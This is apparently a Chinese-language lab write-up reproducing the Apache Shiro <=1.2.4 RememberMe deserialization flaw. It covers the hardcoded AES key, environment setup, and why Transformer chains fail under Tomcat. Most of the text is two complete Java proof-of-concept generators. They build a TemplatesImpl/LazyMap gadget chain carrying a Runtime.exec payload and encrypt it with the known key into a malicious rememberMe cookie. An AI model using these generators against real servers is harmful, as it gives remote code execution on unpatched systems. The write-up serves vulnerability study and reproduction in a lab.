简介
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro易于理解的API,开发者可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
在Shiro <=1.2.4中,反序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中,服务端收到登录请求后,会对rememberMe的cookie值进行base64解码,接着进行AES解密,最后反序列化。由于AES加密是对称式加密(key既能加密数据也能解密数据),所以当攻击者知道了AES key后,就能够构造恶意的rememberMe cookie值从而触发反序列化漏洞。
环境搭建
在这里选择下载源码来搭建,下载好之后使用最简单的servlet来搭建靶场,倒入shiro-shiro-root-1.2.4 -> samples -> web -> pom.xml
在配置完成之后,打开打开会报如下错
解决办法
- 下载JSTL标签库,并将其导入IDEA中,如下所示
然后再导入到对应war包里
启动项目如下所示
此时可以看见项目自带了Commons Collections 3.2.1 ,但是在war 包的依赖里没有,这里再将Commons Collections 3.2.1 添加到war包里
自此环境搭建成功
攻击流程
漏洞触发主要有4步
- 传入Cookie rememberMe
- BASE64解码
- AES解码
- 反序列化
第1步可以看到shiro的主要特征,就是在Response 的Set-Cookie: rememberMe=deleteMe;
一般在登录处就可以看到,由于改项目是一个很简单的servlet,没有很复杂的Controller设计,都是通过Cookie来控制的身份认证
第2步是在Request中的Cookie: rememberMe:xxx进行base64解码
第3步则是将第2步解码的数据进行AES解码,AES是对称加密算法,如果能得知密钥那么加解密就完全受控制了
第4步则是将AES解密算法解密后的数据,进行反序列化,也就是readObject()
那么我们在生成payload的时候,要完成对应AES加密,在AES加密的过程中就需要得知对应的密钥,在此可以知道,shiro <= 1.2.4 是使用的硬编码将密钥编写在代码里,那么现在只需要获取密钥,以及对应的加密代码就可以了
// AbstractRememberMeManager.java
// 硬编码的密钥
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
// 加密算法
public ByteSource encrypt(byte[] plaintext, byte[] key) {
byte[] ivBytes = null;
boolean generate = this.isGenerateInitializationVectors(false);
if (generate) {
ivBytes = this.generateInitializationVector(false);
if (ivBytes == null || ivBytes.length == 0) {
throw new IllegalStateException("Initialization vector generation is enabled - generated vectorcannot be null or empty.");
}
}
return this.encrypt(plaintext, key, ivBytes, generate);
}
private ByteSource encrypt(byte[] plaintext, byte[] key, byte[] iv, boolean prependIv) throws CryptoException {
int MODE = true;
byte[] output;
if (prependIv && iv != null && iv.length > 0) {
byte[] encrypted = this.crypt(plaintext, key, iv, 1);
output = new byte[iv.length + encrypted.length];
System.arraycopy(iv, 0, output, 0, iv.length);
System.arraycopy(encrypted, 0, output, iv.length, encrypted.length);
} else {
output = this.crypt(plaintext, key, iv, 1);
}
if (log.isTraceEnabled()) {
log.trace("Incoming plaintext of size " + (plaintext != null ? plaintext.length : 0) + ". Ciphertext " + "byte array is size " + (output != null ? output.length : 0));
}
return Util.bytes(output);
}
所以客户端生成对应的加密代码就可以这样写
byte[] payloads = byte[] seariaz_data
AesCipherService aes = new AesCipherService();
byte[] key = new BASE64Decoder().decodeBuffer("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
问题说明
在复现过程中,由于shiro默认使用的commons collections 版本号是3.2.1 但是在复现的过程中,在tomcat下无法直接利用 commons-collections:3.2.1 的问题
0X1 org.apache.shiro.io.DefaultSerializer.deserialize:40
这里我们直接看反序列化发生的点,第49行使用了 ClassResolvingObjectInputStream 类而非传统的 ObjectInputStream .这里可能是开发人员做的一种防护措施?
跟进readObject方法,他重写了 ObjectInputStream 类的 resolveClass 函数, ObjectInputStream 的 resolveClass 函数用的是 Class.forName 类获取当前描述器所指代的类的Class对象
0x2 org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass:20
然而重写后的 resolveClass 函数,采用的是 ClassUtils.forName ,我们继续看这个forName的实现。
0x3 org.apache.shiro.util.ClassUtils.forName:59
在这里可以看到与父类的forName方法不一样,再来看看这个 ExceptionIgnoringAccessor 是怎么实现的
这里实际上调用了 ParallelWebAppClassLoader 父类 WebappClassLoaderBase 的 loadClass 函数
该loadClass载入按照上述的顺序(这里不贴代码了,找到 org.apache.catalina.loader.WebappClassLoaderBase.loadClass 即可),先从cache中找已载入的类,如果前3点都没找到,再通过父类 URLClassLoader 的 loadClass 函数载入。但是实际上此时loadClass的参数name值带上了数组的标志,即 /Lorg/apache/commons/collections/Transformer;.class
那么找到原因之后,简单来说,只要使用Transformer链式调用transform()函数,都无法利用成功,那么在commons collections 3.2.1中就不使用Transformer类,那么POC如下
POC1
这里改改CC6(ysoserial)
package com.test;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import sun.misc.BASE64Decoder;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class TestLazyMap {
public static void main(String[] args) throws Exception {
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cls = pool.makeClass("Cat");
String cmdlist = "open /System/Applications/Calculator.app";
String cmd = "java.lang.Runtime.getRuntime().exec(\""+cmdlist+"\");";
cls.makeClassInitializer().insertBefore(cmd);
String randomName = "EvilCat" + System.nanoTime();
cls.setName(randomName);
cls.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cls.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field f = templates.getClass().getDeclaredField("_name");
f.setAccessible(true);
f.set(templates,"123");
Field f1 = templates.getClass().getDeclaredField("_bytecodes");
f1.setAccessible(true);
f1.set(templates,targetByteCodes);
Field f2 = templates.getClass().getDeclaredField("_class");
f2.setAccessible(true);
f2.set(templates,null);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap,transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
HashSet map = new HashSet(1);
map.add("foo");
Field f3 = null;
try {
f3 = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f3 = HashSet.class.getDeclaredField("backingMap");
}
f3.setAccessible(true);
HashMap innimpl = null;
innimpl = (HashMap) f3.get(map);
Field f4 = null;
try {
f4 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f4 = HashMap.class.getDeclaredField("elementData");
}
f4.setAccessible(true);
Object[] array = new Object[0];
array = (Object[]) f4.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, entry);
Field f5 = transformer.getClass().getDeclaredField("iMethodName");
f5.setAccessible(true);
f5.set(transformer,"newTransformer");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(map);
byte[] payloads = byteArrayOutputStream.toByteArray();
AesCipherService aes = new AesCipherService();
byte[] key = new BASE64Decoder().decodeBuffer("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
POC2
package com.test;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import sun.misc.BASE64Decoder;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class TestLazyMap {
public static void main(String[] args) throws Exception {
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cls = pool.makeClass("Cat");
String cmdlist = "open /System/Applications/Calculator.app";
String cmd = "java.lang.Runtime.getRuntime().exec(\""+cmdlist+"\");";
cls.makeClassInitializer().insertBefore(cmd);
String randomName = "EvilCat" + System.nanoTime();
cls.setName(randomName);
cls.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cls.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field f = templates.getClass().getDeclaredField("_name");
f.setAccessible(true);
f.set(templates,"123");
Field f1 = templates.getClass().getDeclaredField("_bytecodes");
f1.setAccessible(true);
f1.set(templates,targetByteCodes);
Field f2 = templates.getClass().getDeclaredField("_class");
f2.setAccessible(true);
f2.set(templates,null);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap,transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add(entry);
lazyMap.remove("foo");
Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer,"newTransformer");
Field f4 = entry.getClass().getDeclaredField("key");
f4.setAccessible(true);
f4.set(entry,templates);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(map);
byte[] payloads = byteArrayOutputStream.toByteArray();
AesCipherService aes = new AesCipherService();
byte[] key = new BASE64Decoder().decodeBuffer("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
参考链接
https://blog.csdn.net/m0_67392409/article/details/124100291
https://blog.csdn.net/HongYu012/article/details/123112913
https://xz.aliyun.com/t/7950?page=5